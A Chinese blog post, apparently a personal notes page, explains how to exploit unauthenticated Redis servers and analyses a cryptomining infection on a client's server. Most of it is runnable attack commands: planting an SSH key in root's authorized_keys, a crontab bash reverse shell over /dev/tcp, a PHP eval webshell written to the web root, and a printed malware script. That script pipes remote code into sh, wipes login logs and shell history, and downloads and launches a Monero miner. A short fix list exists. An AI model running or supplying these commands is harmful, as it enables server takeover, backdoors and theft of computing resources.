redis未授權(quán)

利用https://paper.seebug.org/409/
加固https://help.aliyun.com/knowledge_detail/37447.html
阿里云服務(wù)器被挖礦程序minerd入侵的終極解決辦法http://blog.csdn.net/tjcyjd/article/details/54140321
redis命令總結(jié)https://maoxian.de/2015/08/1342.html

攻擊條件

Redis 服務(wù)默認(rèn)綁定在 0.0.0.0:6379 暴露到公網(wǎng)上!
如果在【沒有開啟認(rèn)證】的情況下:導(dǎo)致可以訪問目標(biāo)服務(wù)器的任意用戶,未授權(quán)訪問Redis以及讀取Redis的數(shù)據(jù)。

服務(wù)器啟動(dòng)redis

whereis redis

  #加上&號(hào)   使 redis 以后臺(tái)程序方式運(yùn)行
./redis-server &

連接 redis未授權(quán)服務(wù)器

image.png

redis -h 10.125.155.30  -p 6379

keys *


 #查看某個(gè)key的值
get kkkky

info #查看redis版本信息、一些具體信息、服務(wù)器版本信息等


#開啟監(jiān)視器 實(shí)時(shí)轉(zhuǎn)儲(chǔ)收到的請求(從此時(shí)開始記錄每個(gè)redis命令操作  到文件ksdf.log)
redis-cli -h xx.xx.xx. monitor >ksdf.log

方式1 利用Redis自身方法 寫服務(wù)器的文件 (ssh-key公鑰)

將hacker的公鑰 追加 寫入 redis服務(wù)器的 /root/.ssh 文件夾下的authotrized_keys文件中,即hacker主機(jī) 直接登錄 該服務(wù)器。

"公鑰登錄" 原理很簡單,就是用戶將自己的公鑰儲(chǔ)存在遠(yuǎn)程主機(jī)上。
登錄的時(shí)候,遠(yuǎn)程主機(jī)會(huì)向用戶發(fā)送一段隨機(jī)字符串,用戶用自己的私鑰加密后,再發(fā)回來。遠(yuǎn)程主機(jī)用事先儲(chǔ)存的公鑰進(jìn)行解密,如果成功,就證明用戶是可信的,直接允許登錄shell,不再要求密碼。
這種方法要求用戶必須提供自己的公鑰。如果沒有現(xiàn)成的,可以直接用ssh-keygen生成一個(gè):

$ ssh-keygen

運(yùn)行上面的命令以后,系統(tǒng)會(huì)出現(xiàn)一系列提示,可以一路回車。其中有一個(gè)問題是,要不要對私鑰設(shè)置口令(passphrase),如果擔(dān)心私鑰的安全,這里可以設(shè)置一個(gè)。

運(yùn)行結(jié)束以后,在$HOME/.ssh/目錄下,會(huì)新生成兩個(gè)文件:id_rsa.pub和id_rsa。前者是你的公鑰,后者是你的私鑰。
通常這時(shí)再輸入下面的命令,將公鑰傳送到遠(yuǎn)程主機(jī)host上面:
$ ssh-copy-id user@host

authorized_keys文件:遠(yuǎn)程主機(jī)將用戶的公鑰,保存在登錄后的用戶主目錄的$HOME/.ssh/authorized_keys文件中。公鑰就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。

#進(jìn)入/.ssh目錄
cd ~
cd .ssh/

# 本機(jī) 生成ssh公鑰文件gy
 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > gy.txt


# 利用redis-cli 連接 該服務(wù)器
redis-cli -h 173.239.46.188


#  刪除所有數(shù)據(jù)庫以及key!!((保證寫入的數(shù)據(jù)不摻雜其他數(shù)據(jù))慎用 !!
flushall

# 把公鑰文件gy (通過redis自身方法)  寫入 服務(wù)器的內(nèi)存  返回OK
cat gy.txt | redis-cli -h 173.239.46.188 -x set crackit


# 利用redis查看當(dāng)前目錄
173.239.46.188:6379> config get dir
1) "dir"
2) "/var/spool/cron"


# 進(jìn)入目錄 設(shè)置保存路徑  /Users/用戶名/.ssh  可能OK 也可能非root用戶權(quán)限不足(error) ERR Changing directory: Permission denied
173.239.46.188:6379> config set dir /root/.ssh/


# 設(shè)置數(shù)據(jù)庫名
173.239.46.188:6379> config set dbfilename "authorized_keys"
OK

# 保存數(shù)據(jù)庫的內(nèi)容到/root/.ssh/authorized_keys 會(huì)覆蓋之前的!!  會(huì)導(dǎo)致之前設(shè)置的所有ssh免登錄失效?。?!
173.239.46.188:6379> save
OK


#-------------------------------------------------
# 通過自己本機(jī)的私鑰登陸服務(wù)器
ssh -i  id_rsa root@173.239.46.188

當(dāng)如果發(fā)現(xiàn)自己的Redis突然被清空,在0號(hào)默認(rèn)庫中執(zhí)行 keys * 命令只顯示
"crackit" 或者其他奇怪的key,那么“恭喜”你中招了。

0×05修復(fù)建議

1.對自己的Redis加入認(rèn)證,除非必要,否則不要把自身暴露到公網(wǎng)中,也不要以root啟用Redis。
2.iptables 對自用固定的端口開啟白名單。
3.查看自己的authorized_keys,以及crontab 任務(wù),如果包含REDIS的開頭,請重置。
4.確認(rèn)自己被hack的機(jī)器,請檢查 chkrootkit和 rootkit hunter檢查rootkit。

方式2 利用定時(shí)任務(wù)執(zhí)行命令反彈shell

redis 以 root 權(quán)限運(yùn)行時(shí):
可以寫 crontab 來執(zhí)行命令反彈shell

--
Redis的set1 ‘xxx’命令使得寫入數(shù)據(jù)始終在最前,保證執(zhí)行成功,但寫入數(shù)據(jù)較大(來源豬豬俠@wooyun)

crontab 對執(zhí)行的文件格式要求比較松散。

在centos里寫入到/var/spool/cron目錄。

# 在redis未授權(quán)機(jī)器上查詢定時(shí)任務(wù) 
crontab -u root -l
#*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh
基本格式 :
*  *  *  *  *  command
分 時(shí) 日      月   周  命令
# 刪除所有的執(zhí)行計(jì)劃
service crond stop或 crontab -r 

先在hacker自己的服務(wù)器192.168.1.1上監(jiān)聽一個(gè)端口 nc -lvnp 4444

連接目標(biāo)redis服務(wù)器 執(zhí)行命令:

redis-cli -h 192.168.2.2
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

方式3 在web目錄 寫文件 獲取webshell

當(dāng) redis 權(quán)限不高,并且服務(wù)器開著 web 服務(wù)且在 redis 有 web 目錄寫權(quán)限時(shí):往 web 路徑寫 webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

挖礦腳本

在目標(biāo)的redis上創(chuàng)建了兩個(gè)關(guān)鍵key,一個(gè)名為woxdtzfwar、另一個(gè)名為crackit。
內(nèi)容分別為:

可訪問 http://172.104.190.64:8220/test11.sh 獲取最新url
woxdtzfwar文件

*/1 * * * * /usr/bin/curl -fsSLhttp://172.104.190.64:8220/test11.sh | sh

其中shell腳本即

#!/bin/bash
(ps auxf|grep -v grep|grep cryptonight |awk '{print $2}'|xargs kill -9;crontab -r;pkill -9 minerd;pkill -9 i586;pkill -9 gddr;pkill -9 snapd;pkill -9 atd;echo > /var/log/wtmp;history -c;cd ~;curl -L http://198.181.41.97:8220/minerd -o minerd;chmod 777 minerd;setsid ./minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)

crackit的內(nèi)容為:

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDE0guChoiGr6s3mXjQA0wX6YKNNMy2bpj6b8ArjuWH/mjN17bu275t/ZlSarmMC5hCVAx7eJEzqxqy43AiBS61UuFpWZXWal5b6XWdvrH6pCJOI5+ceeFMEmc64B7GNrs2OPyuaP0HST/xh0YyWwoE/2uZmc3EyiR8sIP7/11N+xhHH4nIZB/M8QDaBRN6DWUNd/kzLDuIHr4LntuhKEZpCuQIuiDm7ZBYzbYhGtpPWnO04FzbfMUqP1JssTd/G/mUflRgQhKVACyF8rd8o/o7Zy6I9JVgLV6FpNOLc5Ep9VJuFXxmcxWc+Bj//Sd4pgn4gbmb8GzAvlH2xxw+SV2hredis@redis.io

對挖礦腳本 具體解釋如下:

#!/bin/bash
#利用ps命令列舉進(jìn)程,看是否已經(jīng)有存在名為minerd進(jìn)程,如有則殺掉進(jìn)程
(ps auxf|grep -v grep|grep cryptonight |awk '{print $2}'|xargs kill -9;

#清除當(dāng)前用戶crontab任務(wù)列表
crontab -r;

#殺進(jìn)程再次殺進(jìn)程,分別為minerd/i586/gddr進(jìn)程名,猜測是否為病毒早前感染程序名)
pkill -9 minerd;
pkill -9 i586;
pkill -9 gddr;
pkill -9 snapd;
pkill -9 atd;

#清日志
echo > /var/log/wtmp;#系統(tǒng)每次登錄,都會(huì)在此日志中添加記錄,該文件為二進(jìn)制文件

#清空命令操作日志
history -c;

#回到用戶家目錄
cd ~;

#下載自己服務(wù)器上的minerd到 被黑的redis服務(wù)器
curl -L http://198.181.41.97:8220/minerd -o minerd;

#增加執(zhí)行權(quán)限
chmod 777 minerd;

# setsid命令, minnerd進(jìn)程執(zhí)行后守護(hù)進(jìn)程
setsid ./minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)

其中,minnerd為挖礦程序,連接的服務(wù)器為 xmr.crypto-pool.fr:3333,挖礦帳號(hào)為41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo,密碼為x(這個(gè)密碼選項(xiàng)無所謂,值可隨便設(shè)置)


利用百度搜索 minerd,搜索結(jié)果顯示 minerd 是一個(gè)臭名昭著的比特幣挖礦程序。其中攻擊方式、sh文件內(nèi)容等基本一樣,說明該攻擊是基于redis未授權(quán)漏洞的病毒。
網(wǎng)絡(luò)上發(fā)表的基于minerd的下載url為:curl -L http://67.209.185.118:8220/minerd -o minerd
該頁面已經(jīng)失效不能訪問


該病毒面對的目標(biāo)系統(tǒng)是linux系統(tǒng)(crontab啟動(dòng)方式、curl下載、minerd挖礦程序等)

此外,幸運(yùn)的是本次客戶redis安裝在windows操作系統(tǒng)(info查看),病毒無法在windows系統(tǒng)下運(yùn)行

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容